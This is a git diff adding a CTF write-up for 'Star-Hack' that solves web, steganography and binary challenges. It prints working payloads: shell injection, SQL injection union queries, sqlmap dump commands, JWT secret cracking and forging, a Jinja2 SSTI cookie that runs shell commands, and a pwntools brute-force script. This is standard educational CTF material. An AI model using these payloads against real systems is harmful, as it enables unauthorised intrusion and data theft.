diff --git a/content/writeups/StarHack.md b/content/writeups/StarHack.md new file mode 100644 index 0000000..ac71046 --- /dev/null +++ b/content/writeups/StarHack.md @@ -0,0 +1,313 @@ ++++ +date = '2025-10-18T14:51:32+02:00' +draft = false +title = 'Star-Hack' +toc = true ++++ + +I participated in the Star-Hack, a CTF in France, but let's not waste more time. + +Difficulty : easy +Flag format : `flag{[a-zA-Z0-9_]+}` + +## Web + +The challenges difficulties varied from easy to medium, and could be quite fun. + +### Crawler + +The flag were split in 5 parts, 4 were to be found, and the fifth one was +obtainable by providing the concatenation of the first 4 to an API. + +The first four parts were obtainable by looking at the following files : + +* /robots.txt +* /index.html +* /static/main.css +* Another place like cookie or console, I don't remember + +Which leaves us with the following concatenation : `flag{Crawl_Master_20`, the +API gives us the final part "25}". + +Flag: `flag{Crawl_Master_2025}` + +### Commands + +This challenge offers us to ping a target by specifying its IP, the character +';' is prohibited by a filter. + +As expected, it uses the ping utility, and a simple shell injection +`1.1.1.1 && id` enables us to run commands. + +Finally, `1.1.1.1 && find . -name '*flag*'` provides the file name and +`1.1.1.1 && cat ./flag.txt` provides the flag + +Flag : `flag{Command_Injection}` + +### Events + +This challenge offers to use an input field to enter a month and retrieve events +that happened during this one. This input won't allow us to enter more +than two integers, however it is then used in the url query, and no backend +check is performed. + +By crafting a basic sql injection, we can retrieve all events with the following +URL : `http://[REDACTED]/?MONTH=02' or '-01'='`. (it filters by date, and +happens '-01' at the end of the month to obtain dates like '2025-02-01') + +The number of columns retrieved can be found by using a simple union select +injection : `http://[REDACTED]/?MONTH=02' union select "a", "b", "c" where '-01'='`, it has 3 +columns. + +This enables us to get the list of tables, by trying different payloads, we +guess it's sqlite : + +```sh +http://[REDACTED]/?MONTH=02' union select "a", tbl_name, "c" from sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' AND '-01'=' +``` + +There are 3 tables : 'events', 'flag' and 'users'. + +We finally get the flag with the following request : +`http://[REDACTED]/?MONTH=02' union select "a", * from flag WHERE '-01'='` + +Flag: I didn't keep it :/ + +### Store + +It was a website with a search input, by trying the exact same basic SQLi as in +the previous challenge, we find the query is vulnerable. + +As I couldn't bear a second SQLi, and that sqlmap was obviously going to dump it +easily, I went for it : + +```sh +sqlmap -u 'http://[REDACTED]/search/?q=1' -p q --technique "BEUT" --tables +``` + +This extract the table name 'store_secret', which is dumped with : + +```sh +sqlmap -u 'http://13.38.0.91:8087/search/?q=1' -p q --dump store_secret +``` + +flag: I didn't keep this one neither + +### Broken control + +We are offered to log in to the website with 'guest:guestpass'. Once logged in, +we get the following JWT to store the session : + +```sh +eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNfYWRtaW4iOmZhbHNlfQ.370cELTDPe4_w3x6FU4kgf2kBhjtTKfkNGfYVrchv4Q +``` + +Using `jwt_tool.py`, we can get its body : +`{"username": "guest", "id_admin": False}`. After testing differents common +vulnerability like setting the 'alg' header to 'none', I ended up trying to +bruteforce it. Turns out that it worked with the `rockyou.txt` wordlist : + +```sh +jwt_tool.py -C -d rockyou.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNfYWRtaW4iOmZhbHNlfQ.370cELTDPe4_w3x6FU4kgf2kBhjtTKfkNGfYVrchv4Q +``` + +The secret is 'letmein', the JWT can then be tampered to gain admin privileged with the following command : + +```sh +jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNfYWRtaW4iOmZhbHNlfQ.370cELTDPe4_w3x6FU4kf2kBhjtTKfkNGfYVrchv4Q -T -S hs256 -p "letmein" +``` + +This leads to the flag I didn't keep. + +### Obfuscate + +This challenge was interesting, it starts with a very basic SQLi authentication +bypass, we are then offered to change our username. + +It's possible to use the username to perform XSS, however it is a dead end. The +real goal here is to exploit a SSTI. By using the [payloadAllTheThings' decision tree](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#inject-template-syntax), +it is possible to find that the backend uses jinja2 templates. + +However, many inputs are blocked, like those including `__imports__` or `os`. +I tried some bypasses, however it was not convincing, and +`__builtins__.__dict__` was not accessible for some reason. But by +looking around, I found out that we could retrieve the global variables by using +an SSTI, more precisely the variable `SECRET_KEY="supersecretforctf"`. + +The username is stored in a flask token, the filter preventing executing shell +commands in SSTI is only used when trying to change the username, not when +it using the username with a signed flask token. + +By forging a new token with [Flask-Unsign](https://github.com/Paradoxis/Flask-Unsign) +as following, it is possible to run shell commands on the server ! + +```sh +flask-unsign --sign --cookie "{'username': '{{ self.__init__.__globals__.__builtins__.__import__(\'os\').popen(\'find . -name *flag*\').read() }}'}" --secret 'supersecretforctf' +``` + +The flag location is `/flag123aatt.txt`, by using the same process, we print it using cat. + +Flag : `flag{sql_injection_then_ssti_priv_escalation}` + +### IDOR + +### Dev_dev + +## Steganography + +I think steganography is a double-edged sword, either the challenges are +interesting and fun, either it is yet another steghide bruteforce challenge. +Unfortunately, this CTF is more on the second side. + +### Dive deeper + +Image : + +![parrot.jpg](/writeups/StarHack/stegano/parrot.jpg) + +Well the following command unfortunatly retrieves the flag : + +```sh +strings parrot.jpg | grep flag{ +``` + +Flag : `flag{binwalk_unpacked_me}` + +### Investigate + +Image : + +![forest.jpg](/writeups/StarHack/stegano/forest.jpg) + +Same for this one, but with exiftool + +```sh +exiftool forest.jpg | grep flag{ +``` + +Flag : `flag{metadata_magic}` + +### Explore the image 1 + +Image : + +![tiger.jpg](/writeups/StarHack/stegano/tiger.jpg) + +After messing around with this one, the only thing left is +[steghide](https://steghide.sourceforge.net/), and there is a password... + +At least, [stegseek](https://github.com/RickdeJager/stegseek) finds it quickly +with the following command : + +```sh +stegseek tiger.jpg rockyou.txt +``` + +Flag : `flag{hidden_in_plain_sight}` + +### Explore the image 2 + +Image : + +![sunset.jpg](/writeups/StarHack/stegano/sunset.jpg) + +Because once isn't enough, here's exactly the same challenge : + +```sh +stegseek sunset.jpg rockyou.txt +``` + +Flag : `flag{stegseek_cracked_it}` + +## Binary + +The category name is surprising, it's kind of a mix of reverse and pwn. + +### Native guardian + +Source : [app-release.apk](/writeups/StarHack/binary/app-release.apk) + +This challenge ses a shared library in native code, which contains the flag in +cleartext. It is possible to extract the APK with [apktool](https://apktool.org/), +however, a simple strings and grep on the apk will extract the flag : + +```sh +strings app-release.apk | grep -B 1 flag +``` + +It returns + +```sh +3v3rs3d} +flag{jn1_4rm64_rInvalid key +``` + +Flag : `flag{jn1_4rm64_r3v3rs3d}` + +### Simple + +Source : [simple](/writeups/StarHack/binary/simple) + +This is a binary that needs to be reversed, I'm not sure to understand +everything it does, but it doesn't matter to find the flag. + +The flag isn't in the binary but in a file on a remote server. In a tcp +connection, it's possible to send a string and test it against the flag. + +The test will iterate through the strings and stop at the end of input or at the +end of the flag. When sending a wrong input, the index of the first match is +returned. This way, by sending `'X' * 23`, we get `22`, which means no 'X' is in +the flag, and the flag is 22 chars long. + +Knowing that, I wrote the following script to find the first occurence of all +chars : + +```py +#!/bin/sh +from pwn import * + +chars = list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-") + +context.log_level = 'error' # Suppress noise + +host = "[REDACTED]" +port = 1027 + +for c in chars: + conn = remote(host, port) + + conn.recv() + conn.sendline((c * 22).encode()) + + res = conn.recv() + if "22" not in res.decode(): # If char is in the flag + print(c, res) + + conn.close() +``` + +This leaves us with the following : + +```sh +a b'Result length: 2\n' +e b'Result length: 20\n' +f b'Result length: 0\n' +g b'Result length: 3\n' +i b'Result length: 8\n' +l b'Result length: 1\n' +m b'Result length: 17\n' +n b'Result length: 9\n' +p b'Result length: 18\n' +r b'Result length: 7\n' +s b'Result length: 13\n' +x b'Result length: 5\n' +0 b'Result length: 6\n' +_ b'Result length: 11\n' +``` + +Knowing the flag format, we have that : `flag{x0 in _ s mp e}` + +Finally, we guess the flag being `flag{x0ring_is_simple}` + + + diff --git a/static/writeups/StarHack/binary/app-release.apk b/static/writeups/StarHack/binary/app-release.apk new file mode 100644 index 0000000..465c386 Binary files /dev/null and b/static/writeups/StarHack/binary/app-release.apk differ diff --git a/static/writeups/StarHack/binary/simple b/static/writeups/StarHack/binary/simple new file mode 100644 index 0000000..d4f591e Binary files /dev/null and b/static/writeups/StarHack/binary/simple differ diff --git a/static/writeups/StarHack/stegano/forest.jpg b/static/writeups/StarHack/stegano/forest.jpg new file mode 100644 index 0000000..1b10207 Binary files /dev/null and b/static/writeups/StarHack/stegano/forest.jpg differ diff --git a/static/writeups/StarHack/stegano/parrot.jpg b/static/writeups/StarHack/stegano/parrot.jpg new file mode 100644 index 0000000..4963867 Binary files /dev/null and b/static/writeups/StarHack/stegano/parrot.jpg differ diff --git a/static/writeups/StarHack/stegano/sunset.jpg b/static/writeups/StarHack/stegano/sunset.jpg new file mode 100644 index 0000000..60011d1 Binary files /dev/null and b/static/writeups/StarHack/stegano/sunset.jpg differ diff --git a/static/writeups/StarHack/stegano/tiger.jpg b/static/writeups/StarHack/stegano/tiger.jpg new file mode 100644 index 0000000..4c4ba8e Binary files /dev/null and b/static/writeups/StarHack/stegano/tiger.jpg differ